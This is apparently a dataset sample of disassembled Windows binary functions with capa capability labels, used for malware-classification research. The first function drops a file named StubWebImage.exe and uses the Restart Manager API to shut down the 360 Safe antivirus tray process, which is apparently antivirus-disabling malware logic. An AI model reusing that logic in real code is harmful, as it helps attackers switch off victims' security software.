joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007dd0
Capabilities:
Create restart manager session
Enumerate processes
Enumerate processes that use resource
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x108b0]
mov eax, 0x109b0
call fcn.180012680
sub rsp, rax
lea r8, [0x180048f10]
lea rdx, str._sStubWebImage.exe
lea rcx, [rbp - 0x60]
call fcn.18000c900
xor edi, edi
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x108d8]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x18025c2c0]
mov r8d, 0x203e10
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180007d40
mov ebx, eax
call fcn.180007cb0
lea r8, [rbp - 0x60]
lea rdx, [0x180048f40]
lea rcx, [rbp + 0x1b0]
call fcn.18000c900
lea rdx, [rbp + 0x1b0]
mov ecx, ebx
call fcn.180007b70
nop dword [rax + rax]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180007e90
xor edx, edx
lea rcx, [rbp + 0x3c4]
mov r8d, 0x234
call fcn.1800144b0
lea rdx, [rbp + 0x3c0]
mov dword [rbp + 0x3c0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007f0b
nop word [rax + rax]
lea rdx, [0x180048f48]
lea rcx, [rbp + 0x3ec]
call fcn.18001e57c
mov rcx, rbx
test eax, eax
je 0x180007f19
lea rdx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007ee0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180007e90
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov dword [rbp + 0x108d0], 0xffffffff
xor eax, eax
lea r8, [rsp + 0x50]
xor edx, edx
mov word [rbp - 0x70], ax
lea rcx, [rbp + 0x108d0]
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov edx, eax
lea rcx, [0x180048f70]
mov ebx, eax
call fcn.180004e30
test ebx, ebx
jne 0x180008009
mov ecx, dword [rbp + 0x108d0]
lea rax, str.C:Program_Files__x86_360360Safe_safemon360tray.exe
mov qword [rsp + 0x30], rdi
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], edi
lea edx, [rbx + 1]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x180007ffd
mov ecx, dword [rbp + 0x108d0]
lea rax, [rbp + 0x108e0]
lea r9, [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x108d8]
mov dword [rbp + 0x108d8], 0x64
lea rdx, [rbp + 0x108e8]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x180007ffd
mov ecx, dword [rbp + 0x108d0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
mov ecx, dword [rbp + 0x108d0]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
add rsp, 0x109b0
pop rdi
pop rbx
pop rbp
ret
Function at 0x18000e520
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x18000e581
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x18000e540
mov ecx, dword [r10]
jmp 0x18000e66a
cmp ecx, 0x4e0
jb 0x18000e66a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x18000e5a0
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x18000e5f0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x18001079c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x180050088]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x1800107e0
movzx eax, r14w
jmp 0x180010916
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x18001081c
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x18001081c
lea ecx, [r9 - 1]
mov dword [rax], ecx
movzx eax, si
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], si
jmp 0x180010916
cmp qword [rcx + 0x80], r14
je 0x180010913
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x18001085a
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180010883
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call fcn.180020fc4
cmp ax, di
je 0x180010913
movzx edi, si
jmp 0x180010913
lea r8, [rbp + 0xf]
mov word [rbp + 7], si
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp + 9]
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x30], r8
lea r8, [rbp + 0x1f]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], r8
lea r8, [rbp + 7]
call qword [0x1800394a0]
test eax, eax
je 0x1800108d8
sub eax, 1
je 0x1800108d8
cmp eax, 2
jne 0x180010913
movzx ecx, word [rbp + 7]
jmp 0x180010866
mov r14, qword [rbp + 0xf]
lea rax, [rbp + 0x1f]
sub r14, rax
je 0x180010902
mov r9, qword [rbx + 0x80]
lea rcx, [rbp + 0x1f]
mov r8, r14
mov edx, 1
call fcn.18001f588
cmp r14, rax
jne 0x180010913
lea rax, [rbp + 7]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x17], rax
movzx eax, si
jne 0x180010916
movzx eax, di
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180012650
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180019a58
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x18001992f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18001992f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18001992f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18001992f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18001992f
cmp dword [rcx + 0x84], 0xe
jbe 0x18001992f
cmp dword [rcx + 0xf8], 0
je 0x18001992f
mov ecx, ebx
call fcn.1800199d0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1800197c0
cmp dword [rbp + 0x20], 0
je 0x18001997c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180019984
int3
xor r8d, r8d
xor edx, edx
jmp 0x1800198c8
Function at 0x18002c088
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x18002bdae
call fcn.180020c2c
mov dword [rax], 0x16
call fcn.180018f44
jmp 0x18002bef9
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18002bef9
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x18002bef9
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x18002bddd
lock or dword [rcx + 0x14], 0x10
jmp 0x18002bef9
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x18002bdf1
call fcn.18002c090
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x18002be01
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x18002be04
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.180027740
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.180027cd0
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x18002bee7
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x18002be95
mov rcx, rbx
call fcn.180027740
cmp eax, 0xffffffff
je 0x18002be80
mov rcx, rbx
call fcn.180027740
cmp eax, 0xfffffffe
je 0x18002be80
mov rcx, rbx
call fcn.180027740
movsxd rdi, eax
lea r14, [0x18048b090]
mov rcx, rbx
sar rdi, 6
call fcn.180027740
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x18002be87
lea rdx, [0x180050530]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18002be95
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x18002beb9
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x18002beb9
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x18002beb9
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x18002bed7
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x18002bee2
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x18002befe
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x18002bd78
Function at 0x140027830
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.14002bf80
sub rsp, rax
mov rax, qword [0x14006a340]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x1400278f2
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.14003ae64
cmp rax, 1
jne 0x14002794e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x1400278cf
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x1400278c3
cmp rcx, 1
jb 0x14002794e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140027890
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140027923
lea rcx, [rsp + 0x80]
call fcn.14003da98
jmp 0x140027925
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14002bcb0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14002f440
int3
Function at 0x140028880
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp byte [0x14006c0ce], 0
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
jne 0x140028905
mov edx, 3
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x14006c068], rax
xor ecx, ecx
mov ebx, dword [rax]
lea rdx, [rax + 4]
mov qword [0x14006c068], rdx
mov r8d, dword [rdx]
add rdx, 4
mov qword [0x14006c068], rdx
call fcn.1400265a0
cmp eax, ebx
jne 0x140028a6d
mov byte [0x14006c0ce], 1
lea rdx, [0x14004c498]
mov rcx, rsi
call fcn.14003c910
test eax, eax
je 0x140028990
cmp byte [0x14006c0cd], 1
je 0x140028990
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce28], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce30], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce38], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce40], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce48], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce50], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce58], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14006ce60], rax
mov byte [0x14006c0cd], 1
mov r8, qword [0x14006c068]
mov rax, rsi
mov rdx, r8
sub rdx, rsi
movzx ecx, byte [rax]
xor r9d, r9d
cmp cl, byte [rax + rdx]
jne 0x1400289b7
inc rax
test cl, cl
jne 0x1400289a0
mov ecx, r9d
jmp 0x1400289bc
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
cmp byte [r8 + rax + 1], r9b
lea rax, [rax + 1]
jne 0x1400289c3
lea rdx, [r8 + rax]
mov eax, dword [r8 + rax + 1]
add rdx, 5
test ecx, ecx
je 0x140028a28
nop
add rdx, rax
mov rax, rsi
mov r8, rdx
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + r8]
jne 0x140028a05
inc rax
test cl, cl
jne 0x1400289f0
mov ecx, r9d
jmp 0x140028a0a
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r9b
jne 0x140028a11
add rdx, rax
mov eax, dword [rdx + 1]
add rdx, 5
test ecx, ecx
jne 0x1400289e0
movzx ecx, word [rdx]
lea rax, [rdx + 2]
cmp r9w, cx
jae 0x140028a58
mov ebx, ecx
nop word [rax + rax]
mov r8, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140024c30
add rdi, 8
sub rbx, 1
jne 0x140028a40
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rcx, str.Error__corrupted_constants_object
call fcn.1400376a4
call fcn.14002f440
int3
Function at 0x14002b830
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x14006a340]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x14002b8e1
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.14003ae64
cmp rax, 1
jne 0x14002b917
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14002b8bd
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14002b8b0
cmp rcx, 1
jb 0x14002b917
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14002b880
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14002bcb0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.14002f440
int3

Function at 0x14002bb30
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14006a340]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x30], bp
mov edi, 0x28
test al, al
je 0x14002bbdf
nop dword [rax]
nop dword [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.14003ae64
cmp rax, 1
jne 0x14002bc15
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14002bbbc
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x14002bbb0
cmp rcx, 1
jb 0x14002bc15
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14002bb80
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14002bcb0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14002f440
int3

Function at 0x14002c6e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002c72e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002c72e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002c72e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002c72e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002c72e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002c730
xor al, al
add rsp, 0x28
ret
Function at 0x140030ab4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140030b23
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140030b23
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140030b23
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140030b23
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140030b23
cmp dword [rcx + 0x84], 0xe
jbe 0x140030b23
cmp dword [rcx + 0xf8], 0
je 0x140030b23
mov ecx, ebx
call fcn.140030bd4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400309b0
nop
cmp dword [rbp + 0x20], 0
je 0x140030b71
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140030b7c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140030ab4

Function at 0x140030cb8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140030b23
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140030b23
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140030b23
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140030b23
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140030b23
cmp dword [rcx + 0x84], 0xe
jbe 0x140030b23
cmp dword [rcx + 0xf8], 0
je 0x140030b23
mov ecx, ebx
call fcn.140030bd4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400309b0
nop
cmp dword [rbp + 0x20], 0
je 0x140030b71
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140030b7c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140030ab4
Function at 0x1400429f0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140042a77
mov rsi, rbx
cmp word [rax], bp
je 0x140042a36
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140042a20
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140042a1c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14003df70
mov rdi, rax
test rax, rax
je 0x140042a64
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140048d70
mov rbp, rdi
xor ecx, ecx
call fcn.14003eab8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14004517c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140045192
mov al, 1
jmp 0x1400451f2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400451a3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400451f0
mov ecx, dword [rcx + 0x18]
nop
call fcn.140043194
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400451f0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400451f0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400451f0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400451f2
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140048b50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140048b78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140048b78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004410]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004420]
mov dword [rax], 1
mov rax, qword [0x140004430]
mov dword [rax], 1
mov rax, qword [0x1400043b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004400]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400044c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001710
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
